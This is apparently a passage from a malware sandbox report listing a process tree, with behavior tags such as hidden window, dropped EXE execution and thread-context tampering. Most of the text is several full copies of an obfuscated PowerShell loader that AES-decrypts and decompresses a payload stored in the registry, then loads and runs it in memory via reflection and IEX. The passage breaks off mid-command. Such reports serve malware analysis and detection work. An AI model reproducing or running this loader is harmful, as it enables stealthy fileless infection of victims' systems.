[Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:1476
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:4896
        
        C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1896" "3092" "3028" "3096" "0" "0" "3100" "0" "0" "0" "0" "0"
        7⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4912
      - C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4040" "3056" "2972" "3060" "0" "0" "3064" "0" "0" "0" "0" "0"
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1928
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2000
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 